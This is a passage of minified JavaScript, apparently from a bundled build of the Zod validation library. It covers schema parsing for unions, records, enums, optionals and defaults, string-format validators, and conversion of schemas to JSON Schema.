u.issues.push({code:"invalid_type",expected:"object",input:d,inst:t}),u;const m=s.value.get(d?.[r.discriminator]);return m?m._zod.run(u,p):r.unionFallback||p.direction==="backward"?i(u,p):(u.issues.push({code:"invalid_union",errors:[],note:"No matching discriminator",discriminator:r.discriminator,options:Array.from(s.value.keys()),input:d,path:[r.discriminator],inst:t}),u)}}),T3=j("$ZodIntersection",(t,r)=>{je.init(t,r),t._zod.parse=(i,s)=>{const u=i.value,p=r.left._zod.run({value:u,issues:[]},s),d=r.right._zod.run({value:u,issues:[]},s);return p instanceof Promise||d instanceof Promise?Promise.all([p,d]).then(([g,y])=>yf(i,g,y)):yf(i,p,d)}});function Ql(t,r){if(t===r)return{valid:!0,data:t};if(t instanceof Date&&r instanceof Date&&+t==+r)return{valid:!0,data:t};if(Xr(t)&&Xr(r)){const i=Object.keys(r),s=Object.keys(t).filter(p=>i.indexOf(p)!==-1),u={...t,...r};for(const p of s){const d=Ql(t[p],r[p]);if(!d.valid)return{valid:!1,mergeErrorPath:[p,...d.mergeErrorPath]};u[p]=d.data}return{valid:!0,data:u}}if(Array.isArray(t)&&Array.isArray(r)){if(t.length!==r.length)return{valid:!1,mergeErrorPath:[]};const i=[];for(let s=0;s<t.length;s++){const u=t[s],p=r[s],d=Ql(u,p);if(!d.valid)return{valid:!1,mergeErrorPath:[s,...d.mergeErrorPath]};i.push(d.data)}return{valid:!0,data:i}}return{valid:!1,mergeErrorPath:[]}}function yf(t,r,i){const s=new Map;let u;for(const m of r.issues)if(m.code==="unrecognized_keys"){u??(u=m);for(const g of m.keys)s.has(g)||s.set(g,{}),s.get(g).l=!0}else t.issues.push(m);for(const m of i.issues)if(m.code==="unrecognized_keys")for(const g of m.keys)s.has(g)||s.set(g,{}),s.get(g).r=!0;else t.issues.push(m);const p=[...s].filter(([,m])=>m.l&&m.r).map(([m])=>m);if(p.length&&u&&t.issues.push({...u,keys:p}),qr(t))return t;const d=Ql(r.value,i.value);if(!d.valid)throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(d.mergeErrorPath)}`);return t.value=d.data,t}const B3=j("$ZodRecord",(t,r)=>{je.init(t,r),t._zod.parse=(i,s)=>{const u=i.value;if(!Xr(u))return i.issues.push({expected:"record",code:"invalid_type",input:u,inst:t}),i;const p=[],d=r.keyType._zod.values;if(d){i.value={};const m=new Set;for(const y of d)if(typeof y=="string"||typeof y=="number"||typeof y=="symbol"){m.add(typeof y=="number"?y.toString():y);const E=r.keyType._zod.run({value:y,issues:[]},s);if(E instanceof Promise)throw new Error("Async schemas not supported in object keys currently");if(E.issues.length){i.issues.push({code:"invalid_key",origin:"record",issues:E.issues.map(A=>hn(A,s,vn())),input:y,path:[y],inst:t});continue}const S=E.value,T=r.valueType._zod.run({value:u[y],issues:[]},s);T instanceof Promise?p.push(T.then(A=>{A.issues.length&&i.issues.push(...Vr(y,A.issues)),i.value[S]=A.value})):(T.issues.length&&i.issues.push(...Vr(y,T.issues)),i.value[S]=T.value)}let g;for(const y in u)m.has(y)||(g=g??[],g.push(y));g&&g.length>0&&i.issues.push({code:"unrecognized_keys",input:u,inst:t,keys:g})}else{i.value={};for(const m of Reflect.ownKeys(u)){if(m==="__proto__"||!Object.prototype.propertyIsEnumerable.call(u,m))continue;let g=r.keyType._zod.run({value:m,issues:[]},s);if(g instanceof Promise)throw new Error("Async schemas not supported in object keys currently");if(typeof m=="string"&&bm.test(m)&&g.issues.length){const S=r.keyType._zod.run({value:Number(m),issues:[]},s);if(S instanceof Promise)throw new Error("Async schemas not supported in object keys currently");S.issues.length===0&&(g=S)}if(g.issues.length){r.mode==="loose"?i.value[m]=u[m]:i.issues.push({code:"invalid_key",origin:"record",issues:g.issues.map(S=>hn(S,s,vn())),input:m,path:[m],inst:t});continue}const E=r.valueType._zod.run({value:u[m],issues:[]},s);E instanceof Promise?p.push(E.then(S=>{S.issues.length&&i.issues.push(...Vr(m,S.issues)),i.value[g.value]=S.value})):(E.issues.length&&i.issues.push(...Vr(m,E.issues)),i.value[g.value]=E.value)}}return p.length?Promise.all(p).then(()=>i):i}}),R3=j("$ZodEnum",(t,r)=>{je.init(t,r);const i=gm(r.entries),s=new Set(i);t._zod.values=s,t._zod.pattern=new RegExp(`^(${i.filter(u=>D7.has(typeof u)).map(u=>typeof u=="string"?eo(u):u.toString()).join("|")})$`),t._zod.parse=(u,p)=>{const d=u.value;return s.has(d)||u.issues.push({code:"invalid_value",values:i,input:d,inst:t}),u}}),P3=j("$ZodLiteral",(t,r)=>{if(je.init(t,r),r.values.length===0)throw new Error("Cannot create literal schema with no valid values");const i=new Set(r.values);t._zod.values=i,t._zod.pattern=new RegExp(`^(${r.values.map(s=>typeof s=="string"?eo(s):s?eo(s.toString()):String(s)).join("|")})$`),t._zod.parse=(s,u)=>{const p=s.value;return i.has(p)||s.issues.push({code:"invalid_value",values:r.values,input:p,inst:t}),s}}),N3=j("$ZodTransform",(t,r)=>{je.init(t,r),t._zod.optin="optional",t._zod.parse=(i,s)=>{if(s.direction==="backward")throw new hm(t.constructor.name);const u=r.transform(i.value,i);if(s.async)return(u instanceof Promise?u:Promise.resolve(u)).then(d=>(i.value=d,i.fallback=!0,i));if(u instanceof Promise)throw new Hr;return i.value=u,i.fallback=!0,i}});function _f(t,r){return r===void 0&&(t.issues.length||t.fallback)?{issues:[],value:void 0}:t}const Om=j("$ZodOptional",(t,r)=>{je.init(t,r),t._zod.optin="optional",t._zod.optout="optional",ze(t._zod,"values",()=>r.innerType._zod.values?new Set([...r.innerType._zod.values,void 0]):void 0),ze(t._zod,"pattern",()=>{const i=r.innerType._zod.pattern;return i?new RegExp(`^(${fu(i.source)})?$`):void 0}),t._zod.parse=(i,s)=>{if(r.innerType._zod.optin==="optional"){const u=i.value,p=r.innerType._zod.run(i,s);return p instanceof Promise?p.then(d=>_f(d,u)):_f(p,u)}return i.value===void 0?i:r.innerType._zod.run(i,s)}}),A3=j("$ZodExactOptional",(t,r)=>{Om.init(t,r),ze(t._zod,"values",()=>r.innerType._zod.values),ze(t._zod,"pattern",()=>r.innerType._zod.pattern),t._zod.parse=(i,s)=>r.innerType._zod.run(i,s)}),O3=j("$ZodNullable",(t,r)=>{je.init(t,r),ze(t._zod,"optin",()=>r.innerType._zod.optin),ze(t._zod,"optout",()=>r.innerType._zod.optout),ze(t._zod,"pattern",()=>{const i=r.innerType._zod.pattern;return i?new RegExp(`^(${fu(i.source)}|null)$`):void 0}),ze(t._zod,"values",()=>r.innerType._zod.values?new Set([...r.innerType._zod.values,null]):void 0),t._zod.parse=(i,s)=>i.value===null?i:r.innerType._zod.run(i,s)}),j3=j("$ZodDefault",(t,r)=>{je.init(t,r),t._zod.optin="optional",ze(t._zod,"values",()=>r.innerType._zod.values),t._zod.parse=(i,s)=>{if(s.direction==="backward")return r.innerType._zod.run(i,s);if(i.value===void 0)return i.value=r.defaultValue,i;const u=r.innerType._zod.run(i,s);return u instanceof Promise?u.then(p=>wf(p,r)):wf(u,r)}});function wf(t,r){return t.value===void 0&&(t.value=r.defaultValue),t}const $3=j("$ZodPrefault",(t,r)=>{je.init(t,r),t._zod.optin="optional",ze(t._zod,"values",()=>r.innerType._zod.values),t._zod.parse=(i,s)=>(s.direction==="backward"||i.value===void 0&&(i.value=r.defaultValue),r.innerType._zod.run(i,s))}),L3=j("$ZodNonOptional",(t,r)=>{je.init(t,r),ze(t._zod,"values",()=>{const i=r.innerType._zod.values;return i?new Set([...i].filter(s=>s!==void 0)):void 0}),t._zod.parse=(i,s)=>{const u=r.innerType._zod.run(i,s);return u instanceof Promise?u.then(p=>xf(p,t)):xf(u,t)}});function xf(t,r){return!t.issues.length&&t.value===void 0&&t.issues.push({code:"invalid_type",expected:"nonoptional",input:t.value,inst:r}),t}const D3=j("$ZodCatch",(t,r)=>{je.init(t,r),t._zod.optin="optional",ze(t._zod,"optout",()=>r.innerType._zod.optout),ze(t._zod,"values",()=>r.innerType._zod.values),t._zod.parse=(i,s)=>{if(s.direction==="backward")return r.innerType._zod.run(i,s);const u=r.innerType._zod.run(i,s);return u instanceof Promise?u.then(p=>(i.value=p.value,p.issues.length&&(i.value=r.catchValue({...i,error:{issues:p.issues.map(d=>hn(d,s,vn()))},input:i.value}),i.issues=[],i.fallback=!0),i)):(i.value=u.value,u.issues.length&&(i.value=r.catchValue({...i,error:{issues:u.issues.map(p=>hn(p,s,vn()))},input:i.value}),i.issues=[],i.fallback=!0),i)}}),M3=j("$ZodPipe",(t,r)=>{je.init(t,r),ze(t._zod,"values",()=>r.in._zod.values),ze(t._zod,"optin",()=>r.in._zod.optin),ze(t._zod,"optout",()=>r.out._zod.optout),ze(t._zod,"propValues",()=>r.in._zod.propValues),t._zod.parse=(i,s)=>{if(s.direction==="backward"){const p=r.out._zod.run(i,s);return p instanceof Promise?p.then(d=>ga(d,r.in,s)):ga(p,r.in,s)}const u=r.in._zod.run(i,s);return u instanceof Promise?u.then(p=>ga(p,r.out,s)):ga(u,r.out,s)}});function ga(t,r,i){return t.issues.length?(t.aborted=!0,t):r._zod.run({value:t.value,issues:t.issues,fallback:t.fallback},i)}const F3=j("$ZodReadonly",(t,r)=>{je.init(t,r),ze(t._zod,"propValues",()=>r.innerType._zod.propValues),ze(t._zod,"values",()=>r.innerType._zod.values),ze(t._zod,"optin",()=>r.innerType?._zod?.optin),ze(t._zod,"optout",()=>r.innerType?._zod?.optout),t._zod.parse=(i,s)=>{if(s.direction==="backward")return r.innerType._zod.run(i,s);const u=r.innerType._zod.run(i,s);return u instanceof Promise?u.then(Ef):Ef(u)}});function Ef(t){return t.value=Object.freeze(t.value),t}const U3=j("$ZodCustom",(t,r)=>{St.init(t,r),je.init(t,r),t._zod.parse=(i,s)=>i,t._zod.check=i=>{const s=i.value,u=r.fn(s);if(u instanceof Promise)return u.then(p=>If(p,i,s,t));If(u,i,s,t)}});function If(t,r,i,s){if(!t){const u={code:"custom",input:i,inst:s,path:[...s._zod.def.path??[]],continue:!s._zod.def.abort};s._zod.def.params&&(u.params=s._zod.def.params),r.issues.push(Yo(u))}}var Sf;class Z3{constructor(){this._map=new WeakMap,this._idmap=new Map}add(r,...i){const s=i[0];return this._map.set(r,s),s&&typeof s=="object"&&"id"in s&&this._idmap.set(s.id,r),this}clear(){return this._map=new WeakMap,this._idmap=new Map,this}remove(r){const i=this._map.get(r);return i&&typeof i=="object"&&"id"in i&&this._idmap.delete(i.id),this._map.delete(r),this}get(r){const i=r._zod.parent;if(i){const s={...this.get(i)??{}};delete s.id;const u={...s,...this._map.get(r)};return Object.keys(u).length?u:void 0}return this._map.get(r)}has(r){return this._map.has(r)}}function q3(){return new Z3}(Sf=globalThis).__zod_globalRegistry??(Sf.__zod_globalRegistry=q3());const Wo=globalThis.__zod_globalRegistry;function V3(t,r){return new t({type:"string",...ie(r)})}function W3(t,r){return new t({type:"string",format:"email",check:"string_format",abort:!1,...ie(r)})}function kf(t,r){return new t({type:"string",format:"guid",check:"string_format",abort:!1,...ie(r)})}function H3(t,r){return new t({type:"string",format:"uuid",check:"string_format",abort:!1,...ie(r)})}function G3(t,r){return new t({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v4",...ie(r)})}function J3(t,r){return new t({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v6",...ie(r)})}function K3(t,r){return new t({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v7",...ie(r)})}function jm(t,r){return new t({type:"string",format:"url",check:"string_format",abort:!1,...ie(r)})}function Q3(t,r){return new t({type:"string",format:"emoji",check:"string_format",abort:!1,...ie(r)})}function Y3(t,r){return new t({type:"string",format:"nanoid",check:"string_format",abort:!1,...ie(r)})}function X3(t,r){return new t({type:"string",format:"cuid",check:"string_format",abort:!1,...ie(r)})}function e_(t,r){return new t({type:"string",format:"cuid2",check:"string_format",abort:!1,...ie(r)})}function t_(t,r){return new t({type:"string",format:"ulid",check:"string_format",abort:!1,...ie(r)})}function n_(t,r){return new t({type:"string",format:"xid",check:"string_format",abort:!1,...ie(r)})}function r_(t,r){return new t({type:"string",format:"ksuid",check:"string_format",abort:!1,...ie(r)})}function o_(t,r){return new t({type:"string",format:"ipv4",check:"string_format",abort:!1,...ie(r)})}function i_(t,r){return new t({type:"string",format:"ipv6",check:"string_format",abort:!1,...ie(r)})}function a_(t,r){return new t({type:"string",format:"cidrv4",check:"string_format",abort:!1,...ie(r)})}function s_(t,r){return new t({type:"string",format:"cidrv6",check:"string_format",abort:!1,...ie(r)})}function l_(t,r){return new t({type:"string",format:"base64",check:"string_format",abort:!1,...ie(r)})}function u_(t,r){return new t({type:"string",format:"base64url",check:"string_format",abort:!1,...ie(r)})}function c_(t,r){return new t({type:"string",format:"e164",check:"string_format",abort:!1,...ie(r)})}function d_(t,r){return new t({type:"string",format:"jwt",check:"string_format",abort:!1,...ie(r)})}function p_(t,r){return new t({type:"string",format:"datetime",check:"string_format",offset:!1,local:!1,precision:null,...ie(r)})}function f_(t,r){return new t({type:"string",format:"date",check:"string_format",...ie(r)})}function m_(t,r){return new t({type:"string",format:"time",check:"string_format",precision:null,...ie(r)})}function v_(t,r){return new t({type:"string",format:"duration",check:"string_format",...ie(r)})}function h_(t,r){return new t({type:"number",checks:[],...ie(r)})}function g_(t,r){return new t({type:"number",check:"number_format",abort:!1,format:"safeint",...ie(r)})}function y_(t,r){return new t({type:"boolean",...ie(r)})}function __(t,r){return new t({type:"bigint",coerce:!0,...ie(r)})}function w_(t){return new t({type:"unknown"})}function x_(t,r){return new t({type:"never",...ie(r)})}function Ia(t,r){return new Cm({check:"less_than",...ie(r),value:t,inclusive:!1})}function Gr(t,r){return new Cm({check:"less_than",...ie(r),value:t,inclusive:!0})}function Sa(t,r){return new Tm({check:"greater_than",...ie(r),value:t,inclusive:!1})}function Un(t,r){return new Tm({check:"greater_than",...ie(r),value:t,inclusive:!0})}function Yl(t,r){return new O2({check:"multiple_of",...ie(r),value:t})}function $m(t,r){return new $2({check:"max_length",...ie(r),maximum:t})}function ka(t,r){return new L2({check:"min_length",...ie(r),minimum:t})}function Lm(t,r){return new D2({check:"length_equals",...ie(r),length:t})}function E_(t,r){return new M2({check:"string_format",format:"regex",...ie(r),pattern:t})}function I_(t){return new F2({check:"string_format",format:"lowercase",...ie(t)})}function S_(t){return new U2({check:"string_format",format:"uppercase",...ie(t)})}function k_(t,r){return new Z2({check:"string_format",format:"includes",...ie(r),includes:t})}function b_(t,r){return new q2({check:"string_format",format:"starts_with",...ie(r),prefix:t})}function z_(t,r){return new V2({check:"string_format",format:"ends_with",...ie(r),suffix:t})}function ro(t){return new W2({check:"overwrite",tx:t})}function C_(t){return ro(r=>r.normalize(t))}function T_(){return ro(t=>t.trim())}function B_(){return ro(t=>t.toLowerCase())}function R_(){return ro(t=>t.toUpperCase())}function P_(){return ro(t=>$7(t))}function N_(t,r,i){return new t({type:"array",element:r,...ie(i)})}function A_(t,r,i){return new t({type:"custom",check:"custom",fn:r,...ie(i)})}function O_(t,r){const i=j_(s=>(s.addIssue=u=>{if(typeof u=="string")s.issues.push(Yo(u,s.value,i._zod.def));else{const p=u;p.fatal&&(p.continue=!1),p.code??(p.code="custom"),p.input??(p.input=s.value),p.inst??(p.inst=i),p.continue??(p.continue=!i._zod.def.abort),s.issues.push(Yo(p))}},t(s.value,s)),r);return i}function j_(t,r){const i=new St({check:"custom",...ie(r)});return i._zod.check=t,i}function Dm(t){let r=t?.target??"draft-2020-12";return r==="draft-4"&&(r="draft-04"),r==="draft-7"&&(r="draft-07"),{processors:t.processors??{},metadataRegistry:t?.metadata??Wo,target:r,unrepresentable:t?.unrepresentable??"throw",override:t?.override??(()=>{}),io:t?.io??"output",counter:0,seen:new Map,cycles:t?.cycles??"ref",reused:t?.reused??"inline",external:t?.external??void 0}}function Je(t,r,i={path:[],schemaPath:[]}){var s;const u=t._zod.def,p=r.seen.get(t);if(p)return p.count++,i.schemaPath.includes(t)&&(p.cycle=i.path),p.schema;const d={schema:{},count:1,cycle:void 0,path:i.path};r.seen.set(t,d);const m=t._zod.toJSONSchema?.();if(m)d.schema=m;else{const E={...i,schemaPath:[...i.schemaPath,t],path:i.path};if(t._zod.processJSONSchema)t._zod.processJSONSchema(r,d.schema,E);else{const T=d.schema,A=r.processors[u.type];if(!A)throw new Error(`[toJSONSchema]: Non-representable type encountered: ${u.type}`);A(t,r,T,E)}const S=t._zod.parent;S&&(d.ref||(d.ref=S),Je(S,r,E),r.seen.get(S).isParent=!0)}const g=r.metadataRegistry.get(t);return g&&Object.assign(d.schema,g),r.io==="input"&&ft(t)&&(delete d.schema.examples,delete d.schema.default),r.io==="input"&&"_prefault"in d.schema&&((s=d.schema).default??(s.default=d.schema._prefault)),delete d.schema._prefault,r.seen.get(t).schema}function Mm(t,r){const i=t.seen.get(r);if(!i)throw new Error("Unprocessed schema. This is a bug in Zod.");const s=new Map;for(const d of t.seen.entries()){const m=t.metadataRegistry.get(d[0])?.id;if(m){const g=s.get(m);if(g&&g!==d[0])throw new Error(`Duplicate schema id "${m}" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`);s.set(m,d[0])}}const u=d=>{const m=t.target==="draft-2020-12"?"$defs":"definitions";if(t.external){const S=t.external.registry.get(d[0])?.id,T=t.external.uri??(D=>D);if(S)return{ref:T(S)};const A=d[1].defId??d[1].schema.id??`schema${t.counter++}`;return d[1].defId=A,{defId:A,ref:`${T("__shared")}#/${m}/${A}`}}if(d[1]===i)return{ref:"#"};const y=`#/${m}/`,E=d[1].schema.id??`__schema${t.counter++}`;return{defId:E,ref:y+E}},p=d=>{if(d[1].schema.$ref)return;const m=d[1],{ref:g,defId:y}=u(d);m.def={...m.schema},y&&(m.defId=y);const E=m.schema;for(const S in E)delete E[S];E.$ref=g};if(t.cycles==="throw")for(const d of t.seen.entries()){const m=d[1];if(m.cycle)throw new Error(`Cycle detected: #/${m.cycle?.join("/")}/<root>
+
+Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs.`)}for(const d of t.seen.entries()){const m=d[1];if(r===d[0]){p(d);continue}if(t.external){const y=t.external.registry.get(d[0])?.id;if(r!==d[0]&&y){p(d);continue}}if(t.metadataRegistry.get(d[0])?.id){p(d);continue}if(m.cycle){p(d);continue}if(m.count>1&&t.reused==="ref"){p(d);continue}}}function Fm(t,r){const i=t.seen.get(r);if(!i)throw new Error("Unprocessed schema. This is a bug in Zod.");const s=m=>{const g=t.seen.get(m);if(g.ref===null)return;const y=g.def??g.schema,E={...y},S=g.ref;if(g.ref=null,S){s(S);const A=t.seen.get(S),D=A.schema;if(D.$ref&&(t.target==="draft-07"||t.target==="draft-04"||t.target==="openapi-3.0")?(y.allOf=y.allOf??[],y.allOf.push(D)):Object.assign(y,D),Object.assign(y,E),m._zod.parent===S)for(const O in y)O==="$ref"||O==="allOf"||O in E||delete y[O];if(D.$ref&&A.def)for(const O in y)O==="$ref"||O==="allOf"||O in A.def&&JSON.stringify(y[O])===JSON.stringify(A.def[O])&&delete y[O]}const T=m._zod.parent;if(T&&T!==S){s(T);const A=t.seen.get(T);if(A?.schema.$ref&&(y.$ref=A.schema.$ref,A.def))for(const D in y)D==="$ref"||D==="allOf"||D in A.def&&JSON.stringify(y[D])===JSON.stringify(A.def[D])&&delete y[D]}t.override({zodSchema:m,jsonSchema:y,path:g.path??[]})};for(const m of[...t.seen.entries()].reverse())s(m[0]);const u={};if(t.target==="draft-2020-12"?u.$schema="https://json-schema.org/draft/2020-12/schema":t.target==="draft-07"?u.$schema="http://json-schema.org/draft-07/schema#":t.target==="draft-04"?u.$schema="http://json-schema.org/draft-04/schema#":t.target,t.external?.uri){const m=t.external.registry.get(r)?.id;if(!m)throw new Error("Schema is missing an `id` property");u.$id=t.external.uri(m)}Object.assign(u,i.def??i.schema);const p=t.metadataRegistry.get(r)?.id;p!==void 0&&u.id===p&&delete u.id;const d=t.external?.defs??{};for(const m of t.seen.entries()){const g=m[1];g.def&&g.defId&&(g.def.id===g.defId&&delete g.def.id,d[g.defId]=g.def)}t.external||Object.keys(d).length>0&&(t.target==="draft-2020-12"?u.$defs=d:u.definitions=d);try{const m=JSON.parse(JSON.stringify(u));return Object.defineProperty(m,"~standard",{value:{...r["~standard"],jsonSchema:{input:ba(r,"input",t.processors),output:ba(r,"output",t.processors)}},enumerable:!1,writable:!1}),m}catch{throw new Error("Error converting schema to JSON.")}}function ft(t,r){const i=r??{seen:new Set};if(i.seen.has(t))return!1;i.seen.add(t);const s=t._zod.def;if(s.type==="transform")return!0;if(s.type==="array")return ft(s.element,i);if(s.type==="set")return ft(s.valueType,i);if(s.type==="lazy")return ft(s.getter(),i);if(s.type==="promise"||s.type==="optional"||s.type==="nonoptional"||s.type==="nullable"||s.type==="readonly"||s.type==="default"||s.type==="prefault")return ft(s.innerType,i);if(s.type==="intersection")return ft(s.left,i)||ft(s.right,i);if(s.type==="record"||s.type==="map")return ft(s.keyType,i)||ft(s.valueType,i);if(s.type==="pipe")return t._zod.traits.has("$ZodCodec")?!0:ft(s.in,i)||ft(s.out,i);if(s.type==="object"){for(const u in s.shape)if(ft(s.shape[u],i))return!0;return!1}if(s.type==="union"){for(const u of s.options)if(ft(u,i))return!0;return!1}if(s.type==="tuple"){for(const u of s.items)if(ft(u,i))return!0;return!!(s.rest&&ft(s.rest,i))}return!1}const $_=(t,r={})=>i=>{const s=Dm({...i,processors:r});return Je(t,s),Mm(s,t),Fm(s,t)},ba=(t,r,i={})=>s=>{const{libraryOptions:u,target:p}=s??{},d=Dm({...u??{},target:p,io:r,processors:i});return Je(t,d),Mm(d,t),Fm(d,t)},L_={guid:"uuid",url:"uri",datetime:"date-time",json_string:"json-string",regex:""},D_=(t,r,i,s)=>{const u=i;u.type="string";const{minimum:p,maximum:d,format:m,patterns:g,contentEncoding:y}=t._zod.bag;if(typeof p=="number"&&(u.minLength=p),typeof d=="number"&&(u.maxLength=d),m&&(u.format=L_[m]??m,u.format===""&&delete u.format,m==="time"&&delete u.format),y&&(u.contentEncoding=y),g&&g.size>0){const E=[...g];E.length===1?u.pattern=E[0].source:E.length>1&&(u.allOf=[...E.map(S=>({...r.target==="draft-07"||r.target==="draft-04"||r.target==="openapi-3.0"?{type:"string"}:{},pattern:S.source}))])}},M_=(t,r,i,s)=>{const u=i,{minimum:p,maximum:d,format:m,multipleOf:g,exclusiveMaximum:y,exclusiveMinimum:E}=t._zod.bag;typeof m=="string"&&m.includes("int")?u.type="integer":u.type="number";const S=typeof E=="number"&&E>=(p??Number.NEGATIVE_INFINITY),T=typeof y=="number"&&y<=(d??Number.POSITIVE_INFINITY),A=r.target==="draft-04"||r.target==="openapi-3.0";S?A?(u.minimum=E,u.exclusiveMinimum=!0):u.exclusiveMinimum=E:typeof p=="number"&&(u.minimum=p),T?A?(u.maximum=y,u.exclusiveMaximum=!0):u.exclusiveMaximum=y:typeof d=="number"&&(u.maximum=d),typeof g=="number"&&(u.multipleOf=g)},F_=(t,r,i,s)=>{i.type="boolean"},U_=(t,r,i,s)=>{if(r.unrepresentable==="throw")throw new Error("BigInt cannot be represented in JSON Schema")},Z_=(t,r,i,s)=>{i.not={}},q_=(t,r,i,s)=>{},V_=(t,r,i,s)=>{const u=t._zod.def,p=gm(u.entries);p.every(d=>typeof d=="number")&&(i.type="number"),p.every(d=>typeof d=="string")&&(i.type="string"),i.enum=p},W_=(t,r,i,s)=>{const u=t._zod.def,p=[];for(const d of u.values)if(d===void 0){if(r.unrepresentable==="throw")throw new Error("Literal `undefined` cannot be represented in JSON Schema")}else if(typeof d=="bigint"){if(r.unrepresentable==="throw")throw new Error("BigInt literals cannot be represented in JSON Schema");p.push(Number(d))}else p.push(d);if(p.length!==0)if(p.length===1){const d=p[0];i.type=d===null?"null":typeof d,r.target==="draft-04"||r.target==="openapi-3.0"?i.enum=[d]:i.const=d}else p.every(d=>typeof d=="number")&&(i.type="number"),p.every(d=>typeof d=="string")&&(i.type="string"),p.every(d=>typeof d=="boolean")&&(i.type="boolean"),p.every(d=>d===null)&&(i.type="null"),i.enum=p},H_=(t,r,i,s)=>{if(r.unrepresentable==="throw")throw new Error("Custom types cannot be represented in JSON Schema")},G_=(t,r,i,s)=>{if(r.unrepresentable==="throw")throw new Error("Transforms cannot be represented in JSON Schema")},J_=(t,r,i,s)=>{const u=i,p=t._zod.def,{minimum:d,maximum:m}=t._zod.bag;typeof d=="number"&&(u.minItems=d),typeof m=="number"&&(u.maxItems=m),u.type="array",u.items=Je(p.element,r,{...s,path:[...s.path,"items"]})},K_=(t,r,i,s)=>{const u=i,p=t._zod.def;u.type="object",u.properties={};const d=p.shape;for(const y in d)u.properties[y]=Je(d[y],r,{...s,path:[...s.path,"properties",y]});const m=new Set(Object.keys(d)),g=new Set([...m].filter(y=>{const E=p.shape[y]._zod;return r.io==="input"?E.optin===void 0:E.optout===void 0}));g.size>0&&(u.required=Array.from(g)),p.catchall?._zod.def.type==="never"?u.additionalProperties=!1:p.catchall?p.catchall&&(u.additionalProperties=Je(p.catchall,r,{...s,path:[...s.path,"additionalProperties"]})):r.io==="output"&&(u.additionalProperties=!1)},Q_=(t,r,i,s)=>{const u=t._zod.def,p=u.inclusive===!1,d=u.options.map((m,g)=>Je(m,r,{...s,path:[...s.path,p?"oneOf":"anyOf",g]}));p?i.oneOf=d:i.anyOf=d},Y_=(t,r,i,s)=>{const u=t._zod.def,p=Je(u.left,r,{...s,path:[...s.path,"allOf",0]}),d=Je(u.right,r,{...s,path:[...s.path,"allOf",1]}),m=y=>"allOf"in y&&Object.keys(y).length===1,g=[...m(p)?p.allOf:[p],...m(d)?d.allOf:[d]];i.allOf=g},X_=(t,r,i,s)=>{const u=i,p=t._zod.def;u.type="object";const d=p.keyType,g=d._zod.bag?.patterns;if(p.mode==="loose"&&g&&g.size>0){const E=Je(p.valueType,r,{...s,path:[...s.path,"patternProperties","*"]});u.patternProperties={};for(const S of g)u.patternProperties[S.source]=E}else(r.target==="draft-07"||r.target==="draft-2020-12")&&(u.propertyNames=Je(p.keyType,r,{...s,path:[...s.path,"propertyNames"]})),u.additionalProperties=Je(p.valueType,r,{...s,path:[...s.path,"additionalProperties"]});const y=d._zod.values;if(y){const E=[...y].filter(S=>typeof S=="string"||typeof S=="number");E.length>0&&(u.required=E)}},e8=(t,r,i,s)=>{const u=t._zod.def,p=Je(u.innerType,r,s),d=r.seen.get(t);r.target==="openapi-3.0"?(d.ref=u.innerType,i.nullable=!0):i.anyOf=[p,{type:"null"}]},t8=(t,r,i,s)=>{const u=t._zod.def;Je(u.innerType,r,s);const p=r.seen.get(t);p.ref=u.innerType},n8=(t,r,i,s)=>{const u=t._zod.def;Je(u.innerType,r,s);const p=r.seen.get(t);p.ref=u.innerType,i.default=JSON.parse(JSON.stringify(u.defaultValue))},r8=(t,r,i,s)=>{const u=t._zod.def;Je(u.innerType,r,s);const p=r.seen.get(t);p.ref=u.innerType,r.io==="input"&&(i._prefault=JSON.parse(JSON.stringify(u.defaultValue)))},o8=(t,r,i,s)=>{const u=t._zod.def;Je(u.innerType,r,s);const p=r.seen.get(t);p.ref=u.innerType;let d;try{d=u.catchValue(void 0)}catch{throw new Error("Dynamic catch values are not supported in JSON Schema")}i.default=d},i8=(t,r,i,s)=>{const u=t._zod.def,p=u.in._zod.traits.has("$ZodTransform"),d=r.io==="input"?p?u.out:u.in:u.out;Je(d,r,s);const m=r.seen.get(t);m.ref=d},a8=(t,r,i,s)=>{const u=t._zod.def;Je(u.innerType,r,s);const p=r.seen.get(t);p.ref=u.innerType,i.readOnly=!0},Um=(t,r,i,s)=>{const u=t._zod.def;Je(u.innerType,r,s);const p=r.seen.get(t);p.ref=u.innerType},s8=j("ZodISODateTime",(t,r)=>{a3.init(t,r),Ue.init(t,r)});function N(t){return p_(s8,t)}const l8=j("ZodISODate",(t,r)=>{s3.init(t,r),Ue.init(t,r)});function u8(t){return f_(l8,t)}const c8=j("ZodISOTime",(t,r)=>{l3.init(t,r),Ue.init(t,r)});function d8(t){return m_(c8,t)}const p8=j("ZodISODuration",(t,r)=>{u3.init(t,r),Ue.init(t,r)});function f8(t){return v_(p8,t)}const m8=(t,r)=>{xm.init(t,r),t.name="ZodError",Object.defineProperties(t,{format:{value:i=>Q7(t,i)},flatten:{value:i=>K7(t,i)},addIssue:{value:i=>{t.issues.push(i),t.message=JSON.stringify(t.issues,Kl,2)}},addIssues:{value:i=>{t.issues.push(...i),t.message=JSON.stringify(t.issues,Kl,2)}},isEmpty:{get(){return t.issues.length===0}}})},Ft=j("ZodError",m8,{Parent:Error}),v8=vu(Ft),h8=hu(Ft),g8=Aa(Ft),y8=Oa(Ft),_8=e2(Ft),w8=t2(Ft),x8=n2(Ft),E8=r2(Ft),I8=o2(Ft),S8=i2(Ft),k8=a2(Ft),b8=s2(Ft),bf=new WeakMap;function ei(t,r,i){const s=Object.getPrototypeOf(t);let u=bf.get(s);if(u||(u=new Set,bf.set(s,u)),!u.has(r)){u.add(r);for(const p in i){const d=i[p];Object.defineProperty(s,p,{configurable:!0,enumerable:!1,get(){const m=d.bind(this);return Object.defineProperty(this,p,{configurable:!0,writable:!0,enumerable:!0,value:m}),m},set(m){Object.defineProperty(this,p,{configurable:!0,writable:!0,enumerable:!0,value:m})}})}}}const 